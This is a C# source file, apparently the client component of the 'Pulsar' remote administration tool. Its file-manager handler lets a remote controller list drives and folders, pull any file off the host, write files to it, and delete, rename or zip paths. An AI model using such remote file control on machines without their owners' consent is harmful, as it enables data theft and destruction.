using Pulsar.Client.Networking; using Pulsar.Common; using Pulsar.Common.Enums; using Pulsar.Common.Extensions; using Pulsar.Common.Helpers; using Pulsar.Common.IO; using Pulsar.Common.Messages; using Pulsar.Common.Messages.Administration.FileManager; using Pulsar.Common.Messages.Other; using Pulsar.Common.Models; using Pulsar.Common.Networking; using System; using System.Collections.Concurrent; using System.IO; using System.IO.Compression; using System.Linq; using System.Security; using System.Threading; namespace Pulsar.Client.Messages { public class FileManagerHandler : NotificationMessageProcessor, IDisposable { private readonly ConcurrentDictionary _activeTransfers = new ConcurrentDictionary(); private readonly Semaphore _limitThreads = new Semaphore(2, 2); // maximum simultaneous file downloads private readonly PulsarClient _client; private CancellationTokenSource _tokenSource; private CancellationToken _token; public FileManagerHandler(PulsarClient client) { _client = client; _client.ClientState += OnClientStateChange; _tokenSource = new CancellationTokenSource(); _token = _tokenSource.Token; } private void OnClientStateChange(Networking.Client s, bool connected) { switch (connected) { case true: _tokenSource?.Dispose(); _tokenSource = new CancellationTokenSource(); _token = _tokenSource.Token; break; case false: // cancel all running transfers on disconnect _tokenSource.Cancel(); break; } } public override bool CanExecute(IMessage message) => message is GetDrives || message is GetDirectory || message is FileTransferRequest || message is FileTransferCancel || message is FileTransferChunk || message is DoPathDelete || message is DoPathRename || message is DoZipFolder; public override bool CanExecuteFrom(ISender sender) => true; public override void Execute(ISender sender, IMessage message) { switch (message) { case GetDrives msg: Execute(sender, msg); break; case GetDirectory msg: Execute(sender, msg); break; case FileTransferRequest msg: Execute(sender, msg); break; case FileTransferCancel msg: Execute(sender, msg); break; case FileTransferChunk msg: Execute(sender, msg); break; case DoPathDelete msg: Execute(sender, msg); break; case DoPathRename msg: Execute(sender, msg); break; case DoZipFolder msg: HandleDoZipFile(sender, msg); break; } } private void HandleDoZipFile(ISender client, DoZipFolder message) { try { if (!Directory.Exists(message.SourcePath)) { client.Send(new SetStatusFileManager { Message = $"Directory not found: {message.SourcePath}" }); return; } client.Send(new SetStatusFileManager { Message = $"Creating zip archive: {message.DestinationPath}" }); string parentDir = Path.GetDirectoryName(message.DestinationPath); if (!Directory.Exists(parentDir)) Directory.CreateDirectory(parentDir); if (File.Exists(message.DestinationPath)) File.Delete(message.DestinationPath); ZipFile.CreateFromDirectory( message.SourcePath, message.DestinationPath, (CompressionLevel)message.CompressionLevel, includeBaseDirectory: false); client.Send(new SetStatusFileManager { Message = $"Successfully created zip: {message.DestinationPath}" }); } catch (Exception ex) { client.Send(new SetStatusFileManager { Message = $"Error creating zip: {ex.Message}" }); } } private void Execute(ISender client, GetDrives command) { DriveInfo[] driveInfos; try { driveInfos = DriveInfo.GetDrives().Where(d => d.IsReady).ToArray(); } catch (IOException) { client.Send(new SetStatusFileManager { Message = "GetDrives I/O error", SetLastDirectorySeen = false }); return; } catch (UnauthorizedAccessException) { client.Send(new SetStatusFileManager { Message = "GetDrives No permission", SetLastDirectorySeen = false }); return; } if (driveInfos.Length == 0) { client.Send(new SetStatusFileManager { Message = "GetDrives No drives", SetLastDirectorySeen = false }); return; } Drive[] drives = new Drive[driveInfos.Length]; for (int i = 0; i < drives.Length; i++) { try { var displayName = !string.IsNullOrEmpty(driveInfos[i].VolumeLabel) ? string.Format("{0} ({1}) [{2}, {3}]", driveInfos[i].RootDirectory.FullName, driveInfos[i].VolumeLabel, driveInfos[i].DriveType.ToFriendlyString(), driveInfos[i].DriveFormat) : string.Format("{0} [{1}, {2}]", driveInfos[i].RootDirectory.FullName, driveInfos[i].DriveType.ToFriendlyString(), driveInfos[i].DriveFormat); drives[i] = new Drive { DisplayName = displayName, RootDirectory = driveInfos[i].RootDirectory.FullName }; } catch (Exception) { } } client.Send(new GetDrivesResponse { Drives = drives }); } private void Execute(ISender client, GetDirectory message) { bool isError = false; string statusMessage = null; Action onError = (msg) => { isError = true; statusMessage = msg; }; try { DirectoryInfo dicInfo = new DirectoryInfo(message.RemotePath); FileInfo[] files = dicInfo.GetFiles(); DirectoryInfo[] directories = dicInfo.GetDirectories(); FileSystemEntry[] items = new FileSystemEntry[files.Length + directories.Length]; int offset = 0; for (int i = 0; i < directories.Length; i++, offset++) { items[i] = new FileSystemEntry { EntryType = FileType.Directory, Name = directories[i].Name, Size = 0, LastAccessTimeUtc = directories[i].LastAccessTimeUtc }; } for (int i = 0; i < files.Length; i++) { items[i + offset] = new FileSystemEntry { EntryType = FileType.File, Name = files[i].Name, Size = files[i].Length, ContentType = Path.GetExtension(files[i].Name).ToContentType(), LastAccessTimeUtc = files[i].LastAccessTimeUtc }; } client.Send(new GetDirectoryResponse { RemotePath = message.RemotePath, Items = items }); } catch (UnauthorizedAccessException) { onError("GetDirectory No permission"); } catch (SecurityException) { onError("GetDirectory No permission"); } catch (PathTooLongException) { onError("GetDirectory Path too long"); } catch (DirectoryNotFoundException) { onError("GetDirectory Directory not found"); } catch (FileNotFoundException) { onError("GetDirectory File not found"); } catch (IOException) { onError("GetDirectory I/O error"); } catch (Exception) { onError("GetDirectory Failed"); } finally { if (isError && !string.IsNullOrEmpty(statusMessage)) client.Send(new SetStatusFileManager { Message = statusMessage, SetLastDirectorySeen = true }); } } private void Execute(ISender client, FileTransferRequest message) { new Thread(() => { _limitThreads.WaitOne(); try { using (var srcFile = new FileSplit(message.RemotePath, FileAccess.Read)) { _activeTransfers[message.Id] = srcFile; OnReport("File upload started"); foreach (var chunk in srcFile) { if (_token.IsCancellationRequested || !_activeTransfers.ContainsKey(message.Id)) break; // blocking sending might not be required, needs further testing _client.SendBlocking(new FileTransferChunk { Id = message.Id, FilePath = message.RemotePath, FileSize = srcFile.FileSize, Chunk = chunk }); } client.Send(new FileTransferComplete { Id = message.Id, FilePath = message.RemotePath }); } } catch (Exception) { client.Send(new FileTransferCancel { Id = message.Id, Reason = "Error reading file" }); } finally { RemoveFileTransfer(message.Id); _limitThreads.Release(); } }).Start(); } private void Execute(ISender client, FileTransferCancel message) { if (_activeTransfers.ContainsKey(message.Id)) { RemoveFileTransfer(message.Id); client.Send(new FileTransferCancel { Id = message.Id, Reason = "Canceled" }); } } /// /// Validates and sanitizes a file path to prevent path traversal attacks. /// /// The file path to validate. /// A safe file path or null if the path is invalid. private string ValidateAndSanitizeFilePath(string filePath) { try { if (string.IsNullOrWhiteSpace(filePath)) return null; string fullPath = Path.GetFullPath(filePath); if (!Path.IsPathRooted(fullPath)) return null; string fileName = Path.GetFileName(fullPath); if (string.IsNullOrEmpty(fileName) || fileName.Contains("..")) return null; char[] invalidChars = Path.GetInvalidFileNameChars(); if (fileName.IndexOfAny(invalidChars) >= 0) return null; string directory = Path.GetDirectoryName(fullPath); if (string.IsNullOrEmpty(directory)) return null; if (!Directory.Exists(directory)) { Directory.CreateDirectory(directory); } return fullPath; } catch { return null; } } private void Execute(ISender client, FileTransferChunk message) { try { if (message.Chunk.Offset == 0) { string filePath = message.FilePath; if (string.IsNullOrEmpty(filePath)) { // generate new temporary file path if empty filePath = FileHelper.GetTempFilePath(message.FileExtension); } else { filePath = ValidateAndSanitizeFilePath(filePath); if (filePath == null) { client.Send(new FileTransferCancel { Id = message.Id, Reason = "Invalid file path - security violation" }); return; } } if (File.Exists(filePath)) { // delete existing file NativeMethods.DeleteFile(filePath); } _activeTransfers[message.Id] = new FileSplit(filePath, FileAccess.Write); OnReport("File download started"); } if (!_activeTransfers.ContainsKey(message.Id)) return; var destFile = _activeTransfers[message.Id]; destFile.WriteChunk(message.Chunk); if (destFile.FileSize == message.FileSize) { client.Send(new FileTransferComplete { Id = message.Id, FilePath = destFile.FilePath }); RemoveFileTransfer(message.Id); } } catch (Exception) { RemoveFileTransfer(message.Id); client.Send(new FileTransferCancel { Id = message.Id, Reason = "Error writing file" }); } } private void Execute(ISender client, DoPathDelete message) { bool isError = false; string statusMessage = null; Action onError = (msg) => { isError = true; statusMessage = msg; }; try { switch (message.PathType) { case FileType.Directory: Directory.Delete(message.Path, true); client.Send(new SetStatusFileManager { Message = "Deleted directory", SetLastDirectorySeen = false }); break; case FileType.File: File.Delete(message.Path); client.Send(new SetStatusFileManager { Message = "Deleted file", SetLastDirectorySeen = false }); break; } Execute(client, new GetDirectory { RemotePath = Path.GetDirectoryName(message.Path) }); } catch (UnauthorizedAccessException) { onError("DeletePath No permission"); } catch (PathTooLongException) { onError("DeletePath Path too long"); } catch (DirectoryNotFoundException) { onError("DeletePath Path not found"); } catch (IOException) { onError("DeletePath I/O error"); } catch (Exception) { onError("DeletePath Failed"); } finally { if (isError && !string.IsNullOrEmpty(statusMessage)) client.Send(new SetStatusFileManager { Message = statusMessage, SetLastDirectorySeen = false }); } } private void Execute(ISender client, DoPathRename message) { bool isError = false; string statusMessage = null; Action onError = (msg) => { isError = true; statusMessage = msg; }; try { switch (message.PathType) { case FileType.Directory: Directory.Move(message.Path, message.NewPath); client.Send(new SetStatusFileManager { Message = "Renamed directory", SetLastDirectorySeen = false }); break; case FileType.File: File.Move(message.Path, message.NewPath); client.Send(new SetStatusFileManager { Message = "Renamed file", SetLastDirectorySeen = false }); break; } Execute(client, new GetDirectory { RemotePath = Path.GetDirectoryName(message.NewPath) }); } catch (UnauthorizedAccessException) { onError("RenamePath No permission"); } catch (PathTooLongException) { onError("RenamePath Path too long"); } catch (DirectoryNotFoundException) { onError("RenamePath Path not found"); } catch (IOException) { onError("RenamePath I/O error"); } catch (Exception) { onError("RenamePath Failed"); } finally { if (isError && !string.IsNullOrEmpty(statusMessage)) client.Send(new SetStatusFileManager { Message = statusMessage, SetLastDirectorySeen = false }); } } private void RemoveFileTransfer(int id) { if (_activeTransfers.ContainsKey(id)) { _activeTransfers[id]?.Dispose(); _activeTransfers.TryRemove(id, out _); } } /// /// Disposes all managed and unmanaged resources associated with this message processor. /// public void Dispose() { Dispose(true); GC.SuppressFinalize(this); } protected virtual void Dispose(bool disposing) { if (disposing) { _client.ClientState -= OnClientStateChange; _tokenSource.Cancel(); _tokenSource.Dispose(); foreach (var transfer in _activeTransfers) { transfer.Value?.Dispose(); } _activeTransfers.Clear(); } } } }